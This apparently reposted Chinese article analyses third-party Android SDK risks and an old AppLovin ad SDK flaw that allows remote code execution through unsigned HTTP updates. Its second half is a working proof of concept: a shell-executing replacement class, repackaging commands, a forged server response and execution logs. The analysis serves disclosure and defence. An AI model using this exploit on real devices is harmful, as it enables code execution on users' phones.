Android应用安全之第三方SDK安全
第三方sdk的包括广告、支付、统计、社交、推送,地图等类别,是广告商、支付公司、社交、推送平台,地图服务商等第三方服务公司为了便于应用开发人员使用其提供的服务而开发的工具包,封装了一些复杂的逻辑实现以及请求,响应解析的API,由于其使用的广泛性,一旦出现安全问题并且被黑客利用,其影响范围之广,危害之大不言而喻。
SDK的安全问题
首先,一些恶意的Sdk本身会存在着安全威胁,除了众所周知的获取用户隐私信息,如收集设备id(IMEI,IMSI等)、获取用户位置信息外,还存在着更严重的安全问题。比如某些sdk具有主动接收服务器指令的功能,它会根据需要收集短信、通话记录和联系人等敏感信息。另外,它还会执行如动态下载代码等危险操作。
其次,Sdk自身可能还会存在漏洞。如果这些漏洞被利用,攻击者就能够利用sdk本身存在的强大功能发动恶意的攻击行为,例如在用户毫无察觉的情况下打开相机拍照,通过发送短信盗取双因素认证令牌,或将设备变成僵尸网络的一部分。
下面介绍下目前在第三方sdk(主要是指广告sdk)中发现的恶意行为和漏洞。
恶意行为
- 收集用于定位和追踪用户的信息,如设备id和位置信息,
- 收集用户的邮箱地址以及安装在用户设备上的应用程序列表。
- 读取短信、邮件、电话通话记录和联系人列表,在没有任何访问控制措施的情况下通过web服务公开共享这些数据。
- 接收远程服务器指令,下载任意代码并执行。
- 数据明文传输
漏洞
- 通过明文传输数据
通过HTTP明文传输用户的隐私信息,使隐私信息很容易被窃取。FireEye 的研究者声称在Google Play的主流应用中有47%的广告sdk存在该漏洞。
- 使用HTTP协议传输数据
使用不安全的HTTP协议从控制服务器接收命令或者动态加载代码。攻击者可以通过中间人攻击,劫持HTTP数据包,冒充服务器下发恶意指令、推送恶意代码,将第三方sdk变成一个僵尸网络。
攻击者有许多方法来利用sdk的漏洞。比如劫持公共WiFi:当受害者的设备连接到公共WiFi热点(在咖啡店或机场等),攻击者可以在附近监听AppLovin广告sdk的数据包、注入恶意指令和代码。
攻击者也可以通过DNS劫持的方式来达到利用漏洞的目的。在DNS劫持攻击中,攻击者可以修改sdk广告服务器的DNS记录,把访问者重定向到攻击者自己的控制服务器,以便从受害者设备上收集隐私信息或者发送恶意控制指令到受害者设备上。
- Webview漏洞
WebView相当于一个浏览器窗口,应用程序可以使用它来显示网页内容。addJavascriptInterface这个API允许运行在WebView中的JavaScript代码来访问应用的native功能。攻击者可以利用此漏洞,使用应用已有的权限,通过恶意的JavaScript代码来对设备进行恶意操作。这个漏洞已经影响到超过90%的Android设备了。
为了降低安全风险,从Android 4.2开始,谷歌增加了一个叫做@JavascriptInterface的注解,开发人员可以使用它来定义需要暴露给WebView中的JavaScript代码的函数。这实质上是一个白名单机制,让开发者决定什么函数是允许被调用的。
然而添加 @JavascriptInterface注解只是在理论上降低了风险,其实际效用依赖于开发者如何使用它。另外,开发人员还可以添加代码,以便JavaScript调用任何应用暴露出来的函数(触发这些行为)都需要获得用户的许可。
- 使用动态加载的方式进行升级
采用运行时动态加载技术在Dalvik虚拟机中动态执行代码作为其升级机制的一部分,却没有对动态加载的代码进行校验。如果该部分代码被黑客恶意篡改,则会给用户造成严重的安全威胁。
有些sdk本身具有危险行为,同时又存在漏洞,这种特性我们称之为“vulnaggressive”。这种特性并不局限于广告sdk,其它第三方组件和应用程序也存在。如果一个sdk具有“vulnaggressive”特性,则会使Android用户,尤其是企业用户面临严重的安全威胁。AppLovin广告sdk就是一个实例。
AppLovin的恶意威胁
AppLovin广告sdk的恶意行为表现在收集用户的敏感数据,嵌入了按需执行危险操作的功能,该sdk本身存在着严重的漏洞,使应用容易遭受攻击者入侵。攻击者利用sdk的漏洞,同时利用sdk本身的恶意行为,攻击者可以在用户的设备上下载并执行任意代码。然而使用这些第三方sdk的应用开发人员往往不知道其中存在的安全风险,从而给企业用户造成严重威胁。
在我们的研究中发现,许多包含AppLovin广告sdk的Android应用具有强大的权限,它们可以控制摄像机;读写短信、历史通话记录、联系人、浏览器历史记录和书签;并在桌面上创建快捷方式。
攻击者可以利用这些权限进行恶意操作。比如:
- 通过短信窃取双因素认证令牌
- 在SD卡上查看照片和其他文件
- 在桌面上安装图标用于钓鱼攻击
- 删除文件和销毁历史数据
- 冒充老板发送伪造的业务短信给商业伙伴
- 在没有通知用户的情况下删除接收到的短信
- 拨打电话
- 在没有通知用户的情况下使用相机拍照
- 读取书签或者将它们指向钓鱼网站
尽管AppLovin广告sdk造成了严重的威胁,但因其具有隐蔽性,所以更加防不胜防:
- AppLovin广告sdk通过HTTP头字段的数据编码,而不是HTTP响应体从广告服务器接收命令。
- AppLovin广告sdk的代码被混淆,这使得使用传统的分析方法变得困难。
- AppLovin广告sdk的行为难以用传统的分析方法来触发。例如,在一种流行的游戏中,AppLovin广告sdk仅在游戏中某些点执行,比如说达到游戏中的特定级别。当AppLovin广告sdk执行的时候,用户可见的唯一影响是在屏幕顶部的广告(如下图所示)。然而,AppLovin广告sdk却在背后悄悄执行其危险行为。
AppLovin广告sdk的屏幕截图
AppLovin漏洞剖析
AppLovin广告sdk5.0.3版本的升级机制存在远程代码执行漏洞。该广告sdk采用运行时动态加载技术在Dalvik虚拟机中动态执行代码作为其升级机制的一部分。
该广告sdk会定期的通过http协议以明文方式与d.applovin.com进行数据传输。发送以下请求:
- GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1
- User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; sdk Build/JWR66V)
- Host: d.applovin.com
- Connection: Keep-Alive
- Accept-Encoding: gzip
然后服务端将进行响应,如果有更新,就把一个包含了要更新的sdk的jar文件下载到应用目录下一个叫“app_al_sdk”的文件夹中:
- /data/data/<vulnerable application>/app_al_sdk/<SDK version>.jar
当应用再次运行的时候,AppLovin广告library就会检测这个目录下是否存在更新的jar包,如果存在则将该jar包中的dex文件解压出来替换/data/data/<vulnerable application>/al_outdex文件,这样dex中的com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类就会被动态加载,其中的startUpdateDownload方法也将会被调用。
从源代码可以得知,当一个包含AppLovin广告sdk的应用启动后,一个‘boot’进程就会启动(由于反编译的关系,也可能是‘bootstrap’进程、‘boostrap’进程)。如下所示,com.applovin.impl.bootstrap包中的UpdateSDK类负责发送更新请求和处理服务器响应:
- package com.applovin.impl.bootstrap;
- ..
- ..
- class UpdateSDK extends Thread {
- private final Context b;
- public UpdateSDK(SdkBoostrapTasksImpl arg2, Context arg3) {
- this.a = arg2;
- super();
- this.b = arg3;
- this.setName("AppLovinUpdateThread");
- }
- public void run() {
- SharedPreferences$Editor v0_3;
- String SdkUpdateinterval;
- int ResponseCode;
- StringBuffer uri;
- SharedPreferences BootstrapSettings = this.b.getSharedPreferences("applovin.sdk.boostrap", 0);
- String CheckSum = BootstrapSettings.getString("version", "");
- if(CheckSum == null || CheckSum.length() < 1) {
- CheckSum = "5.0.3";
- }
- InputStream ResponseStream = null;
- try {
- SdkBoostrapTasksImpl.a(this.a, "Checking for an update for the SDK interface: 5.0.0, implementation: "
- + CheckSum + "...");
- uri = new StringBuffer(GetUpdateUri.a(this.b));
- uri.append("?").append("interface").append("=").append("5.0.0"); // ?interface=5.0.0
- uri.append("&").append("implementation").append("=").append(CheckSum); // ?interface=5.0.0&implementation=5.0.3
- URLConnection RequestObject = new URL(uri.toString()).openConnection();
- ((HttpURLConnection)RequestObject).setRequestMethod("GET");
- ((HttpURLConnection)RequestObject).setConnectTimeout(20000);
- ((HttpURLConnection)RequestObject).setReadTimeout(20000);
- ((HttpURLConnection)RequestObject).setDefaultUseCaches(false);
- ((HttpURLConnection)RequestObject).setAllowUserInteraction(false);
- ((HttpURLConnection)RequestObject).setUseCaches(false);
- ((HttpURLConnection)RequestObject).setInstanceFollowRedirects(true);
- ((HttpURLConnection)RequestObject).setDoInput(true);
- ResponseCode = ((HttpURLConnection)RequestObject).getResponseCode();
- String SDKFileName = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation"); // filename?
- String SdkImpCheckSum = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation-Checksum");
- SdkUpdateinterval = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Update-Interval");
- String AppLovinEventID = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Event-ID");
- SdkBoostrapTasksImpl.a(this.a, "Auto-update info: {code: " + ResponseCode + ", " + "eventId: "
- + AppLovinEventID + ", " + "fileName: " + SDKFileName + ", " + "checksum: " + SdkImpCheckSum
- + ", " + "interval: " + SdkUpdateinterval + "}");
- if(ResponseCode == 200) {
- if(SDKFileName != null && SDKFileName.length() > 0) {
- File SdkUpdateFile = new File(this.b.getDir("al_sdk", 0), SDKFileName);
- ResponseStream = ((HttpURLConnection)RequestObject).getInputStream();
- CheckSum = SdkBoostrapTasksImpl.a(ResponseStream, SdkUpdateFile);
- if(CheckSum != null && (CheckSum.equals(SdkImpCheckSum))) {
- SharedPreferences$Editor v3_2 = BootstrapSettings.edit();
- v3_2.putString("version", SDKFileName);
- v3_2.putString("interface", "5.0.0");
- v3_2.putString("ServerEventId", AppLovinEventID);
- v3_2.putString("ServerChecksum", CheckSum);
- v3_2.commit();
- SdkBoostrapTasksImpl.a(this.a, "New update processed: " + SDKFileName);
- goto label_130;
- }
- SdkBoostrapTasksImpl.a(this.a, "SDK update checksum does not match. Expected " +
- SdkImpCheckSum + ", but got " + CheckSum);
- goto label_130;
- }
- SdkBoostrapTasksImpl.a(this.a, "Unable to receive SDK update: " + uri + " has not returend a file name");
- }
上述代码从"applovin.sdk.boostrap"配置文件中读取一个版本号作为checksum,然后构造和发送以下请求:
- GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1
- User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; sdk Build/JWR66V)
- Host: d.applovin.com
- Connection: Keep-Alive
- Accept-Encoding: gzip
然后对接收到的以下服务器响应信息进行处理:
- HTTP/1.1 200
- Server: nginx
- Date: Mon, 21 Oct 2013 19:31:20 GMT
- Content-Type: text/html
- Connection: keep-alive
- Vary: Accept-Encoding
- Cache-Control: no-store, no-cache, must-revalidate
- AppLovin-Sdk-Update-Interval: 10
- AppLovin-Sdk-Next-Update-Time: 10
- AppLovin-Sdk-Implementation: 5.0.3.jar
- AppLovin-Sdk-Implementation-Checksum: a9e5f7c98ab3f1dc9ecab25f15ef09e25d5bce28
- AppLovin-Event-ID: 123456
- Content-Length: 1660
服务器会返回以上的响应信息,这些数据被写入到一个文件(文件名为AppLovin-Sdk-Implementation头的值,实际为一个jar包)中,同时会产生一个SHA1 哈希值与AppLovin-Sdk-Implementation-Checksum头的值进行匹配。响应头中其它信息如 AppLovin-Sdk-Update-Interval头 和 AppLovin-Sdk-Next-Update-Time头被写入到一个配置文件中以控制下次应用的更新时间间隔。
当应用再次启动时bootstrap进程初始化的流程就不同了。这个时候com.applovin.sdk.bootstrap包中的SdkBootstrap 类会从配置文件中读取这些值,如果发现这些值不匹配则不会通过控制器去启动更新机制。否则就去检查app_al_sdk目录下是否存在jar文件并与配置文件中的版本值相匹配,匹配则将jar包中的classess.dex文件解压到app_al_outdex文件夹中。
- package com.applovin.sdk.bootstrap;
- ..
- ..
- public class SdkBootstrap {
- ..
- ..
- private void BootstrapSdkClassLoaderInit(Context AppContext) {
- this.VerboseLogging = AppLovinSdkUtils.isVerboseLoggingEnabled(AppContext);
- SharedPreferences bootstrapPref = AppContext.getSharedPreferences("applovin.sdk.boostrap", 0
- );
- String versionVal = bootstrapPref.getString("version", "");
- String interfaceVal = bootstrapPref.getString("interface", "");
- if(versionVal.length() <= 0 || !"5.0.0".equals(interfaceVal)) {
- this.disable();
- }
- else {
- File FileNameParam1 = new File(AppContext.getDir("al_sdk", 0), versionVal);
- if((FileNameParam1.exists()) && FileNameParam1.length() > 0) {
- this.ThisClassLoader = new SdkClassLoader(FileNameParam1, AppContext.getDir("al_outdex"
- , 0), SdkBootstrap.class.getClassLoader());
- goto checkForUpdates;
- }
- this.Log_("SDK implementation file " + versionVal + " has no content, using default implementation"
- );
- this.disable();
- }
- ..
- ..
在com.applovin.sdk.bootstrap.SdkClassLoader类中SdkClassLoader 方法被调用:
- package com.applovin.sdk.bootstrap;
- ..
- ..
- public class SdkClassLoader extends DexClassLoader {
- public SdkClassLoader(File FileNameParam, File DirectoryNameParam, ClassLoader ClassLoaderObject
- ) {
- super(FileNameParam.getAbsolutePath(), DirectoryNameParam.getAbsolutePath(), null, ClassLoaderObject
- );
- }
- ..
- ..
类加载器对象加载classes.dex,并作为参数从checkForUpdates方法中传递到loadImplementation方法中:
- package com.applovin.sdk.bootstrap;
- ..
- ..
- public class SdkBootstrap {
- ..
- ..
- public void checkForUpdates()
- {
- if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d))
- {
- SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class);
- if (localSdkBoostrapTasks != null)
- localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext());
- }
- }
loadImplementation 方法如下:
- package com.applovin.impl.bootstrap;
- ..
- ..
- public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
- ..
- ..
- try
- {
- String str1 = paramClass.getSimpleName();
- String str2 = paramClass.getPackage().getName();
- String str3 = str2.substring(1 + str2.lastIndexOf('.'));
- String str4 = "com.applovin.impl." + str3 + "." + str1 + "Impl";
- a("Loading " + str4 + "...");
- Object localObject = paramClass.cast(this.e.loadClass(str4).newInstance());
- return localObject;
- }
这个方法从提供的classes.dex文件中加载com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类并且返回一个对象(即localSdkBoostrapTasks)给checkForUpdates方法,checkForUpdates方法再通过返回的这个对象调用startUpdateDownload方法。
- public void checkForUpdates()
- {
- if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d))
- {
- SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class);
- if (localSdkBoostrapTasks != null)
- localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext());
- }
- }
SdkBoostrapTasksImpl 类中startUpdateDownload 方法原型如下:
- package com.applovin.impl.bootstrap;
- ..
- ..
- public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
- ..
- ..
- public void startUpdateDownload(Context paramContext)
- {
- this.a = AppLovinSdkUtils.isVerboseLoggingEnabled(paramContext);
- SharedPreferences localSharedPreferences = paramContext.getSharedPreferences("applovin.sdk.boostrap", 0);
- long l1 = System.currentTimeMillis();
- long l2 = localSharedPreferences.getLong("NextAutoupdateTime", 0L);
- if ((l2 == 0L) || (l1 > l2))
- new b(this, paramContext).start();
- }
攻击者可以通过重新实现com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类中的startUpdateDownload 方法构造一个恶意的sdk更新。为了达到这个目的,需要对包含有漏洞的AppLovin sdk应用进行反编译。
- $ unzip VulnerableApp.apk
利用dex2jar将解压后得到的classes.dex文件反编译成jar包:
- $ dex2jar.sh classes.dex
创建一个eclipse工程,将工程Properties设置为“Is Library”(在工程右击-properties-Android最下面,有个Is library,选择后-apply确定,表示此工程可以公开给别的工程使用),然后将上一步得到的classes_dex2jar.jar文件复制到lib目录下。
- $ cp classes-dex2jar.jar ~/eclipse-workspace/MWRAppLovin/libs/
接下来创建com.applovin.impl.bootstrap包和SdkBoostrapTasksImpl类,PoC如下:
- package com.applovin.impl.bootstrap;
- import java.io.BufferedWriter;
- import java.io.IOException;
- import java.io.OutputStreamWriter;
- import android.content.Context;
- import android.os.Environment;
- import android.util.Log;
- import com.applovin.sdk.bootstrap.SdkBoostrapTasks;
- public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
- public SdkBoostrapTasksImpl() {
- super();
- }
- @Override
- public void startUpdateDownload(Context AppContextParam) {
- AppContextParam.getApplicationContext();
- Log.i("[mwr]", "startUpdateDownload — running our injected code");
- String path = Environment.getExternalStorageDirectory().getPath();
- String[] commands = {
- "echo -e \"--[mwr]--\" > " + path + "/mwr.txt\n",
- "id >> " + path + "/mwr.txt\n"
- };
- execCommands(commands);
- }
- public Boolean execCommands(String... command) {
- Runtime rtime = Runtime.getRuntime();
- Process child = null;
- try {
- child = rtime.exec("/system/bin/sh");
- } catch (IOException e1) {
- }
- BufferedWriter outCommand = new BufferedWriter(new OutputStreamWriter(child.getOutputStream()));
- try {
- for(int i = 0; i < command.length; i++) {
- Log.i("[mwr]", "execCommands — executing " + command[i]);
- outCommand.write(command[i]);
- outCommand.flush();
- }
- } catch (IOException e) {
- }
- return true;
- }
- }
上面的PoC会将当前用户id写入sd卡的mwr.txt文件中。如果这个lib库已经被编译成jar包,则必须用dx将其重打包为dex。
- $ dx --dex --output=mwr_applovin_sdk.jar mwrapplovin.jar
(注:dx --dex --output=target.jar origin.jar 首先将origin.jar编译成origin.dex文件(Android虚拟机认识的字节码文件),然后再将origin.dex文件压缩成target.jar)
然后攻击者需要伪造服务器对客户端更新请求的响应并且发送恶意sdk更新,同时需要生成恶意jar包的checksum(sha1哈希):
- $ shasum mwr_applovin_sdk.jar
- 860b438285557693a30a89874df5c26a6fadfb92
一个伪造的响应如下所示:
- HTTP/1.1 200
- Server: nginx
- Date: Mon, 21 Oct 2013 19:31:20 GMT
- Content-Type: text/html
- Connection: keep-alive
- Vary: Accept-Encoding
- Cache-Control: no-store, no-cache, must-revalidate
- AppLovin-Sdk-Update-Interval: 1000
- AppLovin-Sdk-Next-Update-Time: 1000
- AppLovin-Sdk-Implementation: mwr_applovin_sdk.jar
- AppLovin-Sdk-Implementation-Checksum: 860b438285557693a30a89874df5c26a6fadfb92
- AppLovin-Event-ID: 123456
- Content-Length: 1660
- <BINARY DATA>
用logcat查看广告插件的日志信息,从相关event可知恶意jar文件已经被下载:
- I/AppLovinSdk( 742): [Boostrap] Auto-update info: {code: 200, eventId: 123456, fileName: mwr_applovin_sdk.jar, checksum: 860b438285557693a30a89874df5c26a6fadfb92, interval: 10}
- I/AppLovinSdk( 742): [Boostrap] New update processed: mwr_applovin_sdk.jar
- I/AppLovinSdk( 742): [Boostrap] Next update is at: "1382624665463"
下述log信息表明当应用再次启动的时候,从jar包中释放出了dex文件并且恶意代码已经执行:
- /dalvikvm( 3280): DexOpt: --- BEGIN 'mwr_applovin_sdk.jar' (bootstrap=0) ---
- D/dalvikvm( 2949): GC_FOR_ALLOC freed 0K, 3% free 56131K/57696K, paused 156ms, total 156ms
- D/dalvikvm( 3398): DexOpt: load 41ms, verify+opt 15ms, 80116 bytes
- D/dalvikvm( 3280): DexOpt: --- END 'mwr_applovin_sdk.jar' (success) ---
- D/dalvikvm( 3280): DEX prep '/data/data/<vulnerable app>/app_al_sdk/mwr_applovin_sdk.jar': unzip in 0ms, rewrite 286ms
- I/AppLovinSdk( 3280): [Boostrap] Loading com.applovin.impl.bootstrap.SdkBoostrapTasksImpl...
- D/AppLovinSdk( 3280): Loading SDK implementation class: com.applovin.impl.bootstrap.SdkBoostrapTasksImpl
- I/[mwr] ( 3280): startUpdateDownload — running our injected code
- I/[mwr] ( 3280): execCommands — executing echo -e "--[mwr]--" >> /mnt/sdcard/mwr.txt
- I/[mwr] ( 3280): execCommands — executing id >> /mnt/sdcard/mwr.txt
adb命令表明执行很成功:
- $ adb shell
- root@generic:/ # cat /mnt/sdcard/mwr.txt
- --[mwr]--
- uid=(u0_a48) gid=(u0_a48) groups=(camera),(sdcard_rw),(sdcard_r),(inet),(all_a48)
参考资料:
Android应用安全之第三方SDK安全的更多相关文章
- 【Android开发】【第三方SDK】蒲公英摇一摇
摇一摇用户信息反馈功能:用户通过摇晃手机或者触发按钮,弹出反馈信息界面,填写个人意见,上传服务器的功能. 1. 蒲公英官网注册应用,获取AppId作为唯一标识: 2. 下载sdk,获取pgyer_sd ...
- 【Android开发】【第三方SDK】 安卓版分词功能
功能介绍: 获取剪切板内容,进行分词: 点击分解后的词,填入输入框: 点击叉号将地址拼接起来返回主界面 用途: 增加用户的体验效果,可以直接在微信上复制地址,然后通过此功能确认地址. 附上git地址 ...
- 巧用第三方高速开发Android App 热门第三方SDK及框架
巧用第三方高速开发Android App 热门第三方SDK及框架 历经大半年的时间,最终是把这门课程给录制出来了,也就在今天,正式在慕课网上上线了 项目地址:巧用第三方高速开发Android App ...
- 巧用第三方快速开发Android App 热门第三方SDK及框架
巧用第三方快速开发Android App 热门第三方SDK及框架 历经大半年的时间,终于是把这门课程给录制出来了,也就在今天,正式在慕课网上上线了 项目地址:巧用第三方快速开发Android App ...
- Android高效率编码-第三方SDK详解系列(三)——JPush推送牵扯出来的江湖恩怨,XMPP实现推送,自定义客户端推送
Android高效率编码-第三方SDK详解系列(三)--JPush推送牵扯出来的江湖恩怨,XMPP实现推送,自定义客户端推送 很久没有更新第三方SDK这个系列了,所以更新一下这几天工作中使用到的推送, ...
- Android高效率编码-第三方SDK详解系列(二)——Bmob后端云开发,实现登录注册,更改资料,修改密码,邮箱验证,上传,下载,推送消息,缩略图加载等功能
Android高效率编码-第三方SDK详解系列(二)--Bmob后端云开发,实现登录注册,更改资料,修改密码,邮箱验证,上传,下载,推送消息,缩略图加载等功能 我的本意是第二篇写Mob的shareSD ...
- Android高效率编码-第三方SDK详解系列(一)——百度地图,绘制,覆盖物,导航,定位,细腻分解!
Android高效率编码-第三方SDK详解系列(一)--百度地图,绘制,覆盖物,导航,定位,细腻分解! 这是一个系列,但是我也不确定具体会更新多少期,最近很忙,主要还是效率的问题,所以一些有效的东西还 ...
- unity 引入 android第三方sdk
unity中调用java代码中介绍了unity调用android java代码的一些基础.引入android开发第三方sdk的操作跟调用java代码的操作相似,只是多了一步引入第三方jar. unit ...
- Unity3D调用第三方SDK(之一)从eclipse到Unity3D 友盟
原地址:http://www.360doc.com/content/14/0120/14/11670799_346638215.shtml 篇展示在Unity3D中调用友盟SDK的实现方法. 首先附上 ...
随机推荐
- Maven学习(四)eclipse创建maven项目
eclipse创建Maven web项目 1.创建新项目 选择File -> New ->Project 选择New Project窗口中选择 Maven -> Maven Proj ...
- Android工程中javax annotation Nullable找不到的替代方案
我们在某些Android开源库中会遇到下面的引用找不到的问题:import javax.annotation.Nonnull;import javax.annotation.Nullable; 其实A ...
- FragmentStatePagerAdapter和FragmentPagerAdapter区别
FragmentPageAdapter和FragmentStatePagerAdapter 我们简要的来分析下这两个Adapter的区别: FragmentPageAdapter:和PagerAdap ...
- 解决 jQuery validation插件 valid()方法总是返回true的问题
在表单元素验证方法中加入了 remote 方法,调试一直返回true,后来才知道因为是异步验证,所以才会出现此问题,解决方法就是在 remote 方法中,禁用 异步和缓存,具体代码如下 : ..... ...
- Paxos协议笔记
对Paxos协议的介绍,可以通过Leslie Lamport的<Paxos Made Simple>展开学习和了解.Paxos算法在允许失败的分布式系统环境下,实现系统一致性.失败的情况有 ...
- Python之生成器(generator)和迭代器(Iterator)
generator 生成器generator:一边循环一边计算的机制. 生成器是一个特殊的程序,可以被用于控制循环的迭代行为.python中的生成器是迭代器的一种,使用yield返回值函数,每次调用y ...
- 使用postman给servlet传各种参数
web开发中经常会使用到postman软件,常用的方法涉及到get和post方法去获取对应json数据,get方法直接传url就可以,返回对应json数据.但是post请求就需要json数据提交,而且 ...
- 一个服务器多个tomcat的配置
下面我们把配置的详细过程写在下面,以供参考:(此例以配置三个Tomcat为例)1. 下载apache-tomcat-7.0.63,下载下来的文件为apache-tomcat-7.0.63.zip.2. ...
- Linux内存寻址之分段机制及分页机制【转】
前言 本文涉及的硬件平台是X86,如果是其他平台的话,如ARM,是会使用到MMU,但是没有使用到分段机制: 最近在学习Linux内核,读到<深入理解Linux内核>的内存寻址一章.原本以为 ...
- Spring Boot session与cookie的使用
Session import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import ...